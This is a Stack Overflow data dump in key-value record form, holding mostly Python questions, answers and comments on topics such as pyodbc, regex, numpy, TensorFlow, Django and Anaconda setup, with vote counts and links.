has comment: http://stackoverflow.com/comment/81527704
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python
tagged with: pyodbc
score: 1
has comment: http://stackoverflow.com/comment/81527160
has comment: http://stackoverflow.com/comment/81568304
tagged with: sql-server
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81527352
accepted answer: http://stackoverflow.com/a/47294324
has comment: http://stackoverflow.com/comment/81575580
has comment: http://stackoverflow.com/comment/81527833
has answer: http://stackoverflow.com/a/47294324
favorite count: 0
type: Question
tagged with: python-3.x
has title: "transaction interface" error when updating table on linked server
has comment: http://stackoverflow.com/comment/81528149
has body: I'm getting this error when trying to update a db2 database that is a linked server on our SQL Server db. ERROR:root:('42000', '[42000] [Microsoft][ODBC SQL Server Driver][SQL Server]The requested operation could not be performed because OLE DB provider "IBMDA400" for linked server "iSeries" does not support the required transaction interface. (7390) (SQLExecDirectW)') I am connecting to sql server via pyodbc and can run sql scripts with no issues. Here is the sql I get the error with sql3 = " exec ('UPDATE SVCEN2DEV.SRVMAST SET SVRMVD = ? WHERE svtype != ''*DCS-'' AND svcid = ? and svacct = ? ') AT [iSeries]" db.execute(sql3, (row[2],srvid,row[0])) db.commit() And just in case here is my connection string using pyodbc: conn = pyodbc.connect("DRIVER={SQL Server};SERVER="+ Config_Main.dbServer +";DATABASE="+ Config_Main.encludeName +";UID="+ Config_Main.encludeUser +";PWD=" + Config_Main.encludePass) db = conn.cursor() Also note that this query runs just fine in SSMS. I have also tried the openquery method but had no luck. Any ideas?

http://stackoverflow.com/comment/81473084
type: Comment
has text: elements['hydrogen']['is_noble_gas'] = False
type: QuestionComment
comment on: http://stackoverflow.com/q/47261079
score: 0

http://stackoverflow.com/q/47284928
answer count: 3
tagged with: difference
downvote count: 3
has comment: http://stackoverflow.com/comment/81519878
upvote count: 1
has answer: http://stackoverflow.com/a/47285828
linked to: http://stackoverflow.com/q/9516025
has comment: http://stackoverflow.com/comment/81520188
favorite count: 0
tagged with: timestamp
type: Question
type: UnansweredQuestion
has body: My date formats are like this: (u'Task', u'2017-01-06T02:23:44.000-0500') .. stage 1 (u'Task', u'2017-01-06T05:27:10.000-0500') .. stage 2 (u'Task', u'2017-01-10T14:42:44.000-0500') ...stage 2 I have to calulcate the time difference between every stage I am using this (which I know is incorrect :-() import datetime as dt date_format = "yyyy-mm-ddThh-mm-ss" x1= d1.split('T')[0]+' '+(d1.split('T'))[1][:8] x2= d2.split('T')[0]+' '+(d2.split('T'))[1][:8] d1=('2017-01-06T02:23:44.000-0500') d2=('2017-01-19T17:30:21.000-0500') #some string slicing to get rid of T and the timezone indicator start_dt = dt.datetime.strptime(x1, 'yyyy-mm-ddhh:mm:ss') end_dt = dt.datetime.strptime(x2, 'yyyy-mm-ddhh:mm:ss') x = start_dt - end_dt It returns me a format mismatch error can someone help me find the time spent between stage 1 and stage 2 I have to calculate this recursively
has answer: http://stackoverflow.com/a/47285467
has comment: http://stackoverflow.com/comment/81519943
tagged with: datetime
tagged with: python
score: -2
has comment: http://stackoverflow.com/comment/81519711
has comment: http://stackoverflow.com/comment/81519802
has title: can some one help me calculating time difference between two Date Stamps?
has answer: http://stackoverflow.com/a/47285421

http://stackoverflow.com/q/47370012
has comment: http://stackoverflow.com/comment/81693029
has answer: http://stackoverflow.com/a/47370175
upvote count: 13
possible better answer: http://stackoverflow.com/a/47370621
score: 13
linked to: http://stackoverflow.com/q/53645882
linked to: http://stackoverflow.com/q/47277436
has title: "Merging" numpy arrays together with a common dimension
tagged with: pandas
has comment: http://stackoverflow.com/comment/81692816
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/53645882
has comment: http://stackoverflow.com/comment/81692829
has comment: http://stackoverflow.com/comment/81692697
favorite count: 0
has body: I have two matricies, corresponding to data points (x,y1) and (x,y2): x | y1 ------------ 0 | 0 1 | 1 2 | 2 3 | 3 4 | 4 5 | 5 x | y2 ---------------- 0.5 | 0.5 1.5 | 1.5 2.5 | 2.5 3.5 | 3.5 4.5 | 4.5 5.5 | 5.5 I'd like to create a new matrix that combines the x values into a single column, and has NaNs in the appropriate y1, y2 columns: x | y1 | y2 ----------------------------- 0 | 0 | NaN 0.5 | NaN | 0.5 1 | 0 | NaN 1.5 | NaN | 1.5 ... | ... | ... 5 | 5 | NaN 5.5 | NaN | 5.5 Is there an easy way to do this? I'm new to Python and NumPy (coming from MATLAB) and I'm not sure how I would even begin with this. (For reference, my approach to this in MATLAB is simply using an outerjoin against two tables that are generated with array2table.)
tagged with: numpy
has answer: http://stackoverflow.com/a/47370269
answer count: 4
has answer: http://stackoverflow.com/a/47370621
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/47370175
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/81692871
has answer: http://stackoverflow.com/a/47370246

http://stackoverflow.com/q/47316157
has comment: http://stackoverflow.com/comment/81583219
has title: Python 2.X : Regex to find all company names ending in ".inc"
has comment: http://stackoverflow.com/comment/81583898
has comment: http://stackoverflow.com/comment/81583373
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47316216
answer count: 5
has comment: http://stackoverflow.com/comment/81584108
has comment: http://stackoverflow.com/comment/81583206
score: 1
accepted answer: http://stackoverflow.com/a/47316320
has comment: http://stackoverflow.com/comment/81583467
downvote count: 1
has answer: http://stackoverflow.com/a/47316320
favorite count: 0
has comment: http://stackoverflow.com/comment/81583249
has comment: http://stackoverflow.com/comment/81583298
has answer: http://stackoverflow.com/a/47316504
type: Question
upvote count: 2
linked to: http://stackoverflow.com/q/30900794
has body: I'm trying to extract the company names from press releases. As an example, below there is a snippet (in French) of a press release containing a list of seven companies ending in .inc. En effet, Revenu Québec avait des motifs raisonnables de croire que ces entreprises avaient utilisé de fausses factures provenant de plusieurs sociétés, dont Asphalte Vrac Transport inc., 9163-6704 Québec inc., Entreprise Denis Dupré inc., Gestion Jean M. Machado inc., Impact Technologie Environnementale inc., Les entreprises Luc Clément inc. et Transport Vrac Globe International inc. I'm trying to extract all the names using the following code: aa = re.findall('inc\.,? (.*?inc\.)', text) I do manage to capture quite a few, but for some reason I can't figure, I can't extract them all. It seems trivial but it has stomped me for a few hours.... Any help is appreciated !
possible better answer: http://stackoverflow.com/a/47316568
has answer: http://stackoverflow.com/a/47316667
has comment: http://stackoverflow.com/comment/81583630
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/47316568

http://stackoverflow.com/a/47232997
has comment: http://stackoverflow.com/comment/81418813
type: Answer
has comment: http://stackoverflow.com/comment/81418915
downvote count: 0
has comment: http://stackoverflow.com/comment/81419192
has comment: http://stackoverflow.com/comment/81419335
has comment: http://stackoverflow.com/comment/81418908
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81418785
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47232770
has comment: http://stackoverflow.com/comment/81418911
has comment: http://stackoverflow.com/comment/81418792
has body: import lxml.etree import datetime nsmap = { 'm': 'http://schemas.microsoft.com/ado/2007/08/dataservices/metadata', 'd': 'http://schemas.microsoft.com/ado/2007/08/dataservices' } m_null = ('{%s}null' % nsmap['m']) m_type = ('{%s}type' % nsmap['m']) type_handlers = { 'Edm.Double': float, 'Edm.Int32': int, 'Edm.DateTime': lambda s: datetime.datetime.strptime(s.translate(None, ':-'), "%Y%m%dT%H%M%S"), } def xml2dict(xml_file): root = lxml.etree.parse(xml_file) result = {} for properties_el in root.xpath('//m:properties', namespaces=nsmap): for child in properties_el.getchildren(): tag = child.tag.split('}',1)[-1] # split the namespace off the tag if child.attrib.get(m_null): value = None else: value = child.text type_handler = type_handlers.get(child.attrib.get(m_type)) if type_handler is not None: value = type_handler(value) result[tag] = value return result ...properly returns, for your data: {'BC_10YEAR': 6.539999961853027, 'BC_1MONTH': None, 'BC_1YEAR': 5.630000114440918, 'BC_20YEAR': 6.849999904632568, 'BC_2YEAR': 5.96999979019165, 'BC_30YEAR': 6.75, 'BC_30YEARDISPLAY': 0.0, 'BC_3MONTH': 5.190000057220459, 'BC_3YEAR': 6.130000114440918, 'BC_5YEAR': 6.300000190734863, 'BC_6MONTH': 5.349999904632568, 'BC_7YEAR': 6.449999809265137, 'Id': 1, 'NEW_DATE': datetime.datetime(1997, 1, 2, 0, 0)}
answers question: http://stackoverflow.com/q/47232770
has comment: http://stackoverflow.com/comment/81419673

http://stackoverflow.com/q/47316444
has body: Let image_shape and crop_shape be tensors of shape [None, None, None, 64] I can do the following (propose that image_shape is greater than crop_shape) image_shape = tf.shape(inputs)[1:-1] crop_shape = tf.shape(shape_image)[1:-1] n_channels = inputs.get_shape().as_list()[-1] size = tf.concat([(-1,), image_size, (64,)], axis=0) x = tf.slice(inputs, begin=begin, size=size) The resulting tensor x will be of shape [None, None, None, None] but I'd like to get [None, None, None, 64]. Is it possible?
answer count: 1
tagged with: tensorflow
type: Question
has answer: http://stackoverflow.com/a/47325661
type: UnansweredQuestion
tagged with: neural-network
tagged with: python
has title: tf.slice with one constant size component
score: 0

http://stackoverflow.com/a/47364115
accepted answer of: http://stackoverflow.com/q/47361966
type: Answer
has comment: http://stackoverflow.com/comment/81701776
has comment: http://stackoverflow.com/comment/81698655
has comment: http://stackoverflow.com/comment/81681264
score: 25
upvote count: 25
type: AcceptedAnswer
has body: jpeg is a lossy image compression algorithm, designed to reduce the file size by getting rid of information that is not easily noticeable from the human eye. That means saving in jpg will save some disk space but change the pixel values of your array. You can avoid the problem by saving in lossless png format instead. The following snippet works for me import numpy as np from skimage.io import imsave, imread image = np.array([[[109, 232, 173], [ 55, 35, 144]], [[ 43, 124, 185], [234, 127, 246]]], dtype=np.uint8) imsave("test.png", image) rb_image = imread("test.png") print("original image") print(image) print("read back image") print(rb_image) and this is the result original image [[[109 232 173] [ 55 35 144]] [[ 43 124 185] [234 127 246]]] read back image [[[109 232 173] [ 55 35 144]] [[ 43 124 185] [234 127 246]]]
downvote count: 0
answers question: http://stackoverflow.com/q/47361966

http://stackoverflow.com/q/47344810
has title: Didnt return a response - Duplicate django users
has body: I have a django project. I have integrated djangos signup and login system into my application. I have a method for creating a user and logging them into the current session. I notices that when I try to create a record for a users with an existing username in the database, instead of giving a unique constraint fail or redirecting to another page, it just throws the following error: ValueError at /signup/ The view users.views.user_signup didn't return an HttpResponse object. It returned None instead. Request Method: POST Request URL: http://127.0.0.1:8000/signup/ Django Version: 1.11.5 Exception Type: ValueError Exception Value: The view users.views.user_signup didn't return an HttpResponse object. It returned None instead. Exception Location: /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/django/core/handlers/base.py in _get_response, line 198 Python Executable: /Library/Frameworks/Python.framework/Versions/3.6/bin/python3 Python Version: 3.6.2 Python Path: ['/Users/omarjandali/Desktop/split/split', '/Library/Frameworks/Python.framework/Versions/3.6/lib/python36.zip', '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6', '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/lib-dynload', '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages'] Now I am using printing and logging to see where this issue is occuring and there is nothing printing. I feel like the form is not going to the method it was called from... I have no idea what is going on with this. Can anyone help... process = if form not submitted -> display from fill out for -> grab info from form -> grab useranem and see if there is already a account with this username or email -> if no account -> create and save user object -> login the user to session ===> if account -> redirect to the test page... Here is my code: def user_signup(request): if request.method == "POST": form = SignupForm(request.POST) if form.is_valid(): cd = …
type: UnansweredQuestion
answer count: 1
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/47344880
score: 0
tagged with: django-views
tagged with: http://stackoverflow.com/tag/json
tagged with: django-forms
type: Question

http://stackoverflow.com/a/47246955
score: -1
upvote count: 0
answers question: http://stackoverflow.com/q/47246867
downvote count: 1
has body: You are complicating things: All that is needed is to generate all permutations, and eliminate those that are not Langford sequences. 1- do not use set(itertools...), itertools already returns unique elements. 2- for each permutation, you must check is it is a Langfort sequence. 3- if not, break and check the next one 4- if it is, check that its inverse has not yet been collated, and save it in a set of unique elements 5- return the resulting unique langfort sequences This code is fast for n=4, and can find sequences for an arbitrary n; however, the time complexity is massively exponential; past n=6, it will require quite a bit of time to finish. import itertools def langfort(n): seq = [_ for _ in range(1, n+1)] * 2 lang = set() for s in itertools.permutations(seq): for elt in seq: first = s.index(elt) if s[first+1:].index(elt) == elt: continue else: break else: if s[::-1] not in lang: lang.add(s) return lang langfort(4) output: {(4, 1, 3, 1, 2, 4, 3, 2)} Performance: on a 2011 mac book air: %timeit langfort(4) 10 loops, best of 3: 53.4 ms per loop more output: langfort(5) set() # there are no langfort(5) sequences langfort(6) set() # there are no langfort(6) sequences
has comment: http://stackoverflow.com/comment/81449507
type: Answer

http://stackoverflow.com/comment/81451519
comment on: http://stackoverflow.com/q/47250629
type: QuestionComment
has text: It takes 11 bits to represent the [Arabic codepoints](https://en.wikipedia.org/wiki/Arabic_(Unicode_block)). What exactly were you expecting?
score: 0
type: Comment

http://stackoverflow.com/q/47381800
has title: How do I replace all xA6 in my code
has comment: http://stackoverflow.com/comment/81716164
tagged with: python
has body: I obfuscated my python 3.5 code and now I am left with these strange black boxes. I am not able to copy them and "search and replace" with some character. How am I supposed to get rid of them? The code won't run, it keeps raising "syntaxError: invalid character in identifier" This is very frustrating I have been stuck with this issue for hours.
score: 0
has answer: http://stackoverflow.com/a/47381878
has comment: http://stackoverflow.com/comment/81716250
tagged with: encoding
has comment: http://stackoverflow.com/comment/81798160
upvote count: 1
has comment: http://stackoverflow.com/comment/81716246
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81716171
has comment: http://stackoverflow.com/comment/81716566
favorite count: 0
has comment: http://stackoverflow.com/comment/81716159
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81716260

http://stackoverflow.com/comment/81433173
type: Comment
has text: @COLDSPEED there is any code that could go faster?, i have 22 millions records and using grouping by function and apply takes too long
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47232555

http://stackoverflow.com/comment/81467432
has text: When you declare skiprows=2 ,or header=2, the file slices out the first 3 rows and the third row becomes the header. So read the file like this,
type: Comment
comment on: http://stackoverflow.com/a/47247889
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81576060
comment on: http://stackoverflow.com/a/47292345
type: Comment
score: 0
type: AnswerComment
has text: Can you explain to me why when I try to run this, and enter a number, in the console, it just jumps to a new line and waits for some input it seems, nothing else happens. Also, in your if statement, you say "if height and height" is that a typo or intentional? Thank you

http://stackoverflow.com/q/47232057
tagged with: c#
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81421065
score: 0
has title: Send object from python to C# using RestAPI
tagged with: python
has comment: http://stackoverflow.com/comment/81415465
tagged with: rest
linked to: http://stackoverflow.com/q/28012335
has body: Newbie in this so sorry for the mistakes. I have a C# app that is running and calling python functions. the functions is being called using POST method. In addition, I would like that this call will reply from python to C# object which include 4 arrays. I successfully did passing a simple string but when I am trying to pass an object, it doesnt work. Here is the code: C# caller side public class RootObject { public Array b1 { get; set; } public Array cl { get; set; } public Array sc { get; set; } } public static List&lt;RootObject&gt; post(string path, int Port) { var client = new RestClient("http://localhost:" + Port.ToString()); var request = new RestRequest("/postmethod", Method.POST); request.AddHeader("content-type", "application/form-data"); request.AddFile("file", path); IRestResponse response = client.Execute(request); var json = response.Content; var content = response.Content; // raw content as string List&lt;RootObject&gt; r; r = JsonConvert.DeserializeObject&lt;List&lt;RootObject&gt;&gt;(json); return r; } Python side class myscoresobj: def __init__(self): self.b1 self.cl self.sc @app.route('/postmethod', methods=['POST']) def index(): if 'file' not in request.files: return "file not found" file = request.files['file'] contents = file.read() .... myscoresobj = worker(input_q, output_q) return str(myscoresobj ) Any way how to solve this?
has comment: http://stackoverflow.com/comment/81415268
type: Question

http://stackoverflow.com/comment/81443802
type: Comment
type: AnswerComment
has text: I am checking on the django admin database it also doesnt do the redirection so that too, haha
comment on: http://stackoverflow.com/a/47246627
score: 0

http://stackoverflow.com/q/47380643
score: 0
tagged with: deep-learning
has title: How to create shape flow in convolutional neural network using Tensorflow
tagged with: tensorflow
type: Question
has body: I create cnn on my own dataset, with MNIST tutorial as helper. My layers was created with colorful images resized to 28x28 but when i resize image to 32x32, i get incompatible shapes: [400] vs. [100] [[Node: Equal = Equal[T=DT_INT64, _device="/job:localhost/replica:0/task:0/cpu:0"](ArgMax, ArgMax_1)]] I debug all layers and all seems be ok, input has correct 100 images and 100 labels x = tf.placeholder(tf.float32, shape=[None, cons.IMAGE_SIZE, cons.IMAGE_SIZE, 3]) y_ = tf.placeholder(tf.float32, shape=[None, cons.LABELS_NUMB]) K = 4 L = 8 M = 12 N = 200 x_image = tf.reshape(x, [-1, cons.IMAGE_SIZE, cons.IMAGE_SIZE, 3]) ################## first ############## W_conv1 = weight_variable([5, 5, 3, 32]) b_conv1 = bias_variable([32]) h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) h_pool1 = max_pool_2x2(h_conv1) ################## second ############## W_conv2 = weight_variable([5, 5, 32, 64]) b_conv2 = bias_variable([64]) h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) h_pool2 = max_pool_2x2(h_conv2) ################## fully connected 3 ############## W_fc1 = weight_variable([4 * 4 * 64, 1024]) b_fc1 = bias_variable([1024]) h_pool2_flat = tf.reshape(h_pool2, [-1, 4*4*64]) h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1) ################ dropout 4 ################# keep_prob = tf.placeholder(tf.float32) h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob) ################## fully connected 5 ############## W_fc2 = weight_variable([1024, cons.LABELS_NUMB]) b_fc2 = bias_variable([cons.LABELS_NUMB]) Y = tf.matmul(h_fc1_drop, W_fc2) + b_fc2 cross_entropy = tf.reduce_mean( tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=Y)) train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy) correct_prediction = tf.equal(tf.argmax(Y, 1), tf.argmax(y_, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) with tf.Session() as sess: sess.run(tf.global_variables_initializer()) for i in range(10000): img, lb = fileCreation.next_batch(100…
has comment: http://stackoverflow.com/comment/81761306
has comment: http://stackoverflow.com/comment/81845283
answer count: 0
has comment: http://stackoverflow.com/comment/81844656
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/81677385
comment on: http://stackoverflow.com/a/47362199
type: Comment
score: 0
type: AnswerComment
has text: @cᴏʟᴅsᴘᴇᴇᴅ I am not aware of that. Can you please leave it as comment or edit my answer so that we can learn something new? :) Thanks

http://stackoverflow.com/comment/81571181
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/47310342
has text: Example of the emails you have and what is/isn't being correctly matched would help.
type: Comment

http://stackoverflow.com/comment/81637928
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/47276911
has text: You are right, it was just an error in the data, now it works!
type: Comment

http://stackoverflow.com/q/47319245
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47320301
answer count: 2
has comment: http://stackoverflow.com/comment/81589713
type: UnansweredQuestion
has title: Python split on brackets with regular expressions
has comment: http://stackoverflow.com/comment/81589694
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/81589833
downvote count: 0
has answer: http://stackoverflow.com/a/47320803
score: 1
has comment: http://stackoverflow.com/comment/81589659
upvote count: 1
has body: If I have a string "4[ab]" and I want to split this string such that I get an array ["4", "ab"], how would I use a regular expression in python for this? I've used the following regular expressions with no luck: "\[\[" "\]\[" "[\[\]]" "[\]\[]" From what I understand with python syntax you have to escape characters like square brackets because it will compute the values inside the brackets as the regular expression. What else is required? Edit, sorry for the delay: Here's the code though I doubt it's anything special: import re re.split("[\[\]]","4[ab]") This returns the correct output I'm looking for but does not work for "4[ab]".split("[\[\]]")

http://stackoverflow.com/a/47308553
score: 2
downvote count: 0
has body: Problem pdb package comes with Anaconda 3's Python installation, so when you run import pdb in the command line it successfully loads it. Running pdb &lt;script&gt; from command line makes Windows look for a pdb.exe executable in any of the paths listed in your PATH environment variable. As far as I know, pdb does not come with a script executable. ipdb does. Solution PDB: Run python -m pdb myscript.py from an Anaconda terminal. IPDB: Install the ipdb package in your Anaconda Python environment. Try running your script in the command line with ipdb &lt;script&gt;. If the second step does not work for you, this is probably because the anaconda script folder does not appear in your PATH environment variable. Press winkey Search for Edit the system environment variables Click on environment variables.... Look for a PATH variable in either your user or system variables. (If it doesn't exist, create a new variable). Double click it and add a new path pointing to your anaconda Scripts folder (for me it's in %localappdata%\Continuum\anaconda3\Scripts). And you're done.
answers question: http://stackoverflow.com/q/47307882
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47307882
has comment: http://stackoverflow.com/comment/81592066
type: Answer
upvote count: 2

http://stackoverflow.com/a/57091706
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/47298070
type: Answer
score: 4
has body: History: On Anaconda prompt, I installed word cloud using conda command. I was able to import, "import wordcloud", at anaconda command prompt. But it was not being imported in Spyder Ipython console, I got the following error: import wordcloud Traceback (most recent call last): File "", line 1, in import wordcloud ModuleNotFoundError: No module named 'wordcloud' Solution: 1) At Ipython console write following two commands import sys print(sys.executable) we will get following output, C:\Users\mAge\Anaconda3\pythonw.exe 2) open, anaconda prompt, set its path as given above using change directory command cd 3) at anaconda prompt write: python -m pip install wordcloud 4) Tip: It will also work for the scenario when "wordcloud" is not installed at our system

http://stackoverflow.com/comment/109083768
has text: bokeh.models.mappers.LogColorMapper
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47391159

http://stackoverflow.com/q/47226654
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/51339882
upvote count: 2
score: 2
has title: Cannot get past pyenv zlib error
downvote count: 0
type: UnansweredQuestion
tagged with: python
answer count: 1
has body: I have a lot of trouble using pyenv to install other python versions. I always get this zlib build error. I have tried everything in this wiki. python-build: use openssl from homebrew python-build: use readline from homebrew Downloading Python-2.7.3.tgz... -&gt; https://www.python.org/ftp/python/2.7.3/Python-2.7.3.tgz Installing Python-2.7.3... patching file ./Modules/readline.c Hunk #1 succeeded at 200 (offset -6 lines). Hunk #2 succeeded at 735 (offset -14 lines). Hunk #3 succeeded at 845 (offset -14 lines). Hunk #4 succeeded at 893 with fuzz 2 (offset -25 lines). patching file ./Lib/site.py patching file ./Lib/ssl.py Hunk #2 succeeded at 424 (offset -11 lines). patching file ./Modules/_ssl.c Hunk #1 succeeded at 65 (offset -2 lines). Hunk #2 succeeded at 304 (offset -4 lines). Hunk #3 succeeded at 1725 (offset -87 lines). python-build: use readline from homebrew ERROR: The Python zlib extension was not compiled. Missing the zlib? Please consult to the Wiki page to fix the problem. https://github.com/pyenv/pyenv/wiki/Common-build-problems BUILD FAILED (OS X 10.12.2 using python-build 1.1.5-38-g428a94b) Inspect or clean up the working tree at /var/folders/3w/p2g7w8bs13778xbvqfb1hlqwgkr9wz/T/python-build.20171111043756.36564 Results logged to /var/folders/3w/p2g7w8bs13778xbvqfb1hlqwgkr9wz/T/python-build.20171111043756.36564.log Last 10 log lines: (cd /Users/clement.oh/.pyenv/versions/2.7.3/bin; ln -s python2-config python-config) test -d /Users/clement.oh/.pyenv/versions/2.7.3/lib/pkgconfig || /usr/bin/install -c -d -m 755 /Users/clement.oh/.pyenv/versions/2.7.3/lib/pkgconfig rm -f /Users/clement.oh/.pyenv/versions/2.7.3/lib/pkgconfig/python2.pc (cd /Users/clement.oh/.pyenv/versions/2.7.3/lib/pkgconfig; ln -s python-2.7.pc python2.pc) rm -f /Users/clement.oh/.pyenv/versions/2.7.3/lib/pkgconfig/python.pc (cd /Users/clement.oh/.pyenv/versions/2.7.3/lib/pkgconfig; ln -s python2.pc python.pc) Creating directory /Users/clement.oh/.pyenv/versions/2.7.3/share/man Creating …
tagged with: pyenv

http://stackoverflow.com/comment/81619174
type: Comment
type: QuestionComment
has text: Maybe you could use static data of class, but you should really trim your code to a [mcve] to get better answers.
score: 0
comment on: http://stackoverflow.com/q/47333786

kivy-language
type: Tag
tags question: http://stackoverflow.com/q/47237235
tags question: http://stackoverflow.com/q/47335100
tags question: http://stackoverflow.com/q/47353004
tags question: http://stackoverflow.com/q/47259407
tags question: http://stackoverflow.com/q/47309983
tags question: http://stackoverflow.com/q/47236931
tags question: http://stackoverflow.com/q/47238934
tag name: kivy-language
tags question: http://stackoverflow.com/q/47373607
tags question: http://stackoverflow.com/q/47345485
tags question: http://stackoverflow.com/q/47263390
tags question: http://stackoverflow.com/q/47247187
tags question: http://stackoverflow.com/q/47323210
tags question: http://stackoverflow.com/q/47305531
tags question: http://stackoverflow.com/q/47356256

http://stackoverflow.com/comment/81704391
has text: After clean cycle call plt.draw()
comment on: http://stackoverflow.com/q/47376050
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/85431500
type: AnswerComment
comment on: http://stackoverflow.com/a/49159555
has text: Thank you for your answer. I tried this out and it did not help, but it pointed me into the right direction: It seems like the usage of the @shared_task decorator is the problem. I'll edit my question.
type: Comment
score: 0

http://stackoverflow.com/a/47344486
answers question: http://stackoverflow.com/q/47337031
type: Answer
has comment: http://stackoverflow.com/comment/81696806
upvote count: 6
has body: The Dataset.flat_map() transformation is the tool you need: it enables you to map a single input element into multiple elements, then flattens the result. Your code would look something like the following: def generate_permutations(features, labels): regular_ds = tf.data.Dataset.from_tensors((features, labels)) noisy_ds = tf.data.Dataset.from_tensors((add_noise(features), labels)) return regular_ds.concatenate(noisy_ds) dataset = dataset.flat_map(generate_permutations)
accepted answer of: http://stackoverflow.com/q/47337031
type: AcceptedAnswer
downvote count: 0
score: 6
has comment: http://stackoverflow.com/comment/81659032
has comment: http://stackoverflow.com/comment/81661814

http://stackoverflow.com/comment/81585159
has text: Just use the `count`-method from class `list`: `[1,1,2,1].count(1)` for example
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47317047

http://stackoverflow.com/q/47290744
has body: I have a piece of code as below: def f(x,l=[]): for i in range(x): l.append(i*i) print(l) f(2) f(3) Why it gives as: [0, 1] [0, 1, 0, 1, 4] for f(3) ? why it is storing value of l ? Isn't it supposed to be local temporary variable ?
has comment: http://stackoverflow.com/comment/81533811
has title: function storing value of variable
has comment: http://stackoverflow.com/comment/81532298
has comment: http://stackoverflow.com/comment/81532049
tagged with: python
has comment: http://stackoverflow.com/comment/81532552
type: Question
tagged with: python-3.x
score: 0
has comment: http://stackoverflow.com/comment/81532051
answer count: 0
linked to: http://stackoverflow.com/q/1132941
has comment: http://stackoverflow.com/comment/81532389
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81532146
upvote count: 1
has comment: http://stackoverflow.com/comment/81532174
downvote count: 1
duplicate of: http://stackoverflow.com/q/1132941
favorite count: 0
linked to: http://stackoverflow.com/q/15377050

http://stackoverflow.com/comment/81488798
type: QuestionComment
type: Comment
score: 4
comment on: http://stackoverflow.com/q/47269001
has text: Why do you want to do that?

http://stackoverflow.com/comment/138779746
type: QuestionComment
comment on: http://stackoverflow.com/q/47232779
score: 0
has text: https://github.com/tensorflow/tensorboard/issues/6834
type: Comment

http://stackoverflow.com/q/47311204
has comment: http://stackoverflow.com/comment/81597602
has body: I spread my code in several files but I do not know how to make the child file interact with the main file. example fichier1: #!/usr/bin/env python3 # coding: utf-8 import gi gi.require_version('Gtk', '3.0') from gi.repository import Gtk from TestMenu import Menu class MainWindow(Gtk.Window): def __init__(self): Gtk.Window.__init__(self) self.grid = Gtk.Grid() self.add(self.grid) self.label = Gtk.Label("An example of a Label widget.") self.menuBar = Menu() self.grid.attach(self.menuBar, 0, 0, 1, 1) self.grid.attach(self.label, 1, 0, 1, 1) def onClick(self, button): self.label.set_label('Test OK') win = MainWindow() win.connect("delete-event", Gtk.main_quit) win.show_all() Gtk.main() Fichier2: import gi gi.require_version('Gtk', '3.0') from gi.repository import Gtk class Menu(Gtk.Grid): menuUi= "/home/vianney/programmes/Menu.ui" def __init__(self): Gtk.Grid.__init__(self) action_group = Gtk.ActionGroup("my_actions") self.AddActionMenu(action_group) uimanager = self.create_ui_manager() uimanager.insert_action_group(action_group) menubar = uimanager.get_widget("/MenuBar") self.attach(menubar, 0, 0, 1, 1) def AddActionMenu(self, action_group): action_group.add_actions([ ("ActionMenu", None, "Edition"), ("AddGame", None, "Add Game", None, None, self.AddGame) ]) def AddGame(self, widget): self.label.set_label('Test OK') def create_ui_manager(self): uimanager = Gtk.UIManager() uimanager.add_ui_from_file(self.menuUi) return uimanager here is the menu file: &lt;ui&gt; &lt;menubar name='MenuBar'&gt; &lt;menu action='ActionMenu'&gt; &lt;menuitem action='AddGame' /&gt; &lt;/menu&gt; &lt;/menubar&gt; &lt;/ui&gt; in this example I would have changed the contents of the label in the file 1 belong to the file 2 menu Thank you very much for your help
tagged with: gtk
has answer: http://stackoverflow.com/a/47334206
has comment: http://stackoverflow.com/comment/81602241
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/81602310
downvote count: 0
tagged with: gtk3
answer count: 1
favorite count: 0
has title: python GTK+ action in many files
tagged with: python-3.x
type: Question
upvote count: 2
accepted answer: http://stackoverflow.com/a/47334206
tagged with: python

http://stackoverflow.com/comment/136557209
score: 0
type: Comment
has text: `template_html = ' {BODY} '` `empty_html = template_html.replace('{BODY}', html)` This is a bit cleaner
type: AnswerComment
comment on: http://stackoverflow.com/a/70287244

http://stackoverflow.com/a/47409012
